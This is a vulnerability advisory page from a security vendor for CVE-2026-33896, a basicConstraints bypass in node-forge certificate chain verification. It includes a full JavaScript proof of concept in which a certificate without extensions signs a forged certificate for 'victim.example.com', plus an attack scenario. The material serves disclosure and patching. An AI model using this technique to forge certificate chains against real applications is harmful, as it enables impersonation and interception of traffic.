Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-33896 — forge

🟠 CVSS 8.0 — High ⚠️ Exploit Public CWE-295 NVD
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Forge has a basicConstraints bypass in its certificate chain verification (RFC 5280 violation)

Summary

pki.verifyCertificateChain() does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the basicConstraints and keyUsage extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid.

Technical Details

In lib/x509.js, the verifyCertificateChain() function (around lines 3147-3199) has two conditional checks for CA authorization:

1. The keyUsage check (which includes a sub-check requiring basicConstraints to be present) is gated on keyUsageExt !== null

2. The basicConstraints.cA check is gated on bcExt !== null

When a certificate has neither extension, both checks are skipped entirely. The certificate passes all CA validation and is accepted as a valid intermediate CA.

RFC 5280 Section 6.1.4 step (k) requires:

> "If certificate i is a version 3 certificate, verify that the basicConstraints extension is present and that cA is set to TRUE."

The absence of basicConstraints should result in rejection, not acceptance.

Proof of Concept

```javascript

const forge = require('node-forge');

const pki = forge.pki;

function generateKeyPair() {

return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });

}

console.log('=== node-forge basicConstraints Bypass PoC ===\n');

// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true)

const rootKeys = generateKeyPair();

const rootCert = pki.createCertificate();

rootCert.publicKey = rootKeys.publicKey;

rootCert.serialNumber = '01';

rootCert.validity.notBefore = new Date();

rootCert.validity.notAfter = new Date();

rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);

const rootAttrs = [

{ name: 'commonName', value: 'Legitimate Root CA' },

{ name: 'organizationName', value: 'PoC Security Test' }

];

rootCert.setSubject(rootAttrs);

rootCert.setIssuer(rootAttrs);

rootCert.setExtensions([

{ name: 'basicConstraints', cA: true, critical: true },

{ name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true }

]);

rootCert.sign(rootKeys.privateKey, forge.md.sha256.create());

// 2. Create a "leaf" certificate signed by root — NO basicConstraints, NO keyUsage

// This certificate should NOT be allowed to sign other certificates

const leafKeys = generateKeyPair();

const leafCert = pki.createCertificate();

leafCert.publicKey = leafKeys.publicKey;

leafCert.serialNumber = '02';

leafCert.validity.notBefore = new Date();

leafCert.validity.notAfter = new Date();

leafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);

const leafAttrs = [

{ name: 'commonName', value: 'Non-CA Leaf Certificate' },

{ name: 'organizationName', value: 'PoC Security Test' }

];

leafCert.setSubject(leafAttrs);

leafCert.setIssuer(rootAttrs);

// NO basicConstraints extension — NO keyUsage extension

leafCert.sign(rootKeys.privateKey, forge.md.sha256.create());

// 3. Create a "victim" certificate signed by the leaf

// This simulates an attacker using a non-CA cert to forge certificates

const victimKeys = generateKeyPair();

const victimCert = pki.createCertificate();

victimCert.publicKey = victimKeys.publicKey;

victimCert.serialNumber = '03';

victimCert.validity.notBefore = new Date();

victimCert.validity.notAfter = new Date();

victimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);

const victimAttrs = [

{ name: 'commonName', value: 'victim.example.com' },

{ name: 'organizationName', value: 'Victim Corp' }

];

victimCert.setSubject(victimAttrs);

victimCert.setIssuer(leafAttrs);

victimCert.sign(leafKeys.privateKey, forge.md.sha256.create());

// 4. Verify the chain: root -> leaf -> victim

const caStore = pki.createCaStore([rootCert]);

try {

const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]);

console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result);

console.log(' node-forge accepted a non-CA certificate as an intermediate CA!');

console.log(' This violates RFC 5280 Section 6.1.4.');

} catch (e) {

console.log('[SECURE] Chain verification FAILED (expected): ' + e.message);

}

```

Results:

  • Certificate with NO extensions: ACCEPTED as CA (vulnerable — violates RFC 5280)
  • Certificate with basicConstraints.cA=false: correctly rejected
  • Certificate with keyUsage (no keyCertSign): correctly rejected
  • Proper intermediate CA (control): correctly accepted

Attack Scenario

An attacker who obtains any valid leaf certificate (e.g., a regular TLS certificate for attacker.com) that lacks basicConstraints and keyUsage extensions can use it to sign certificates for ANY domain. Any application using node-forge's verifyCertificateChain() will accept the forged chain.

This affects applications using node-forge for:

  • Custom PKI / certificate

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is high, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: High — the attacker first has to win a race, learn a secret or otherwise prepare the target.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: None.

Weakness class

CVE-2026-33896 is classified as CWE-295: Improper Certificate Validation. A TLS certificate is accepted without proper verification, so a man-in-the-middle can present their own.

Affected software

CVE-2026-33896 is recorded against 2 packages.

  • forge (fixed in 1.3.3)
  • node-forge

Timeline and source

Published on 27 March 2026 and last revised on 15 July 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com
github.com
access.redhat.com
access.redhat.com
access.redhat.com
access.redhat.com
access.redhat.com
bugzilla.redhat.com
github.com
security.access.redhat.com

Other advisories for this package

forge has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-295: Improper Certificate Validation) in other software:

CVE-2026-33896 on other distributions

Each distribution ships its own build and its own fixed version. Pick the one you run:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
CWE CWE-295
Public Exploit ⚠️ Yes
Source NVD
Published 2026-03-27
Updated 2026-08-20
Modified 2026-07-15

Affected Packages

Software From version Fixed in
forge — 1.3.3
node-forge — —

Similar Threats

Exploit Protection

Are you running forge?

CVE-2026-33896 carries CVSS 8.0 High rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-33896 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026
✓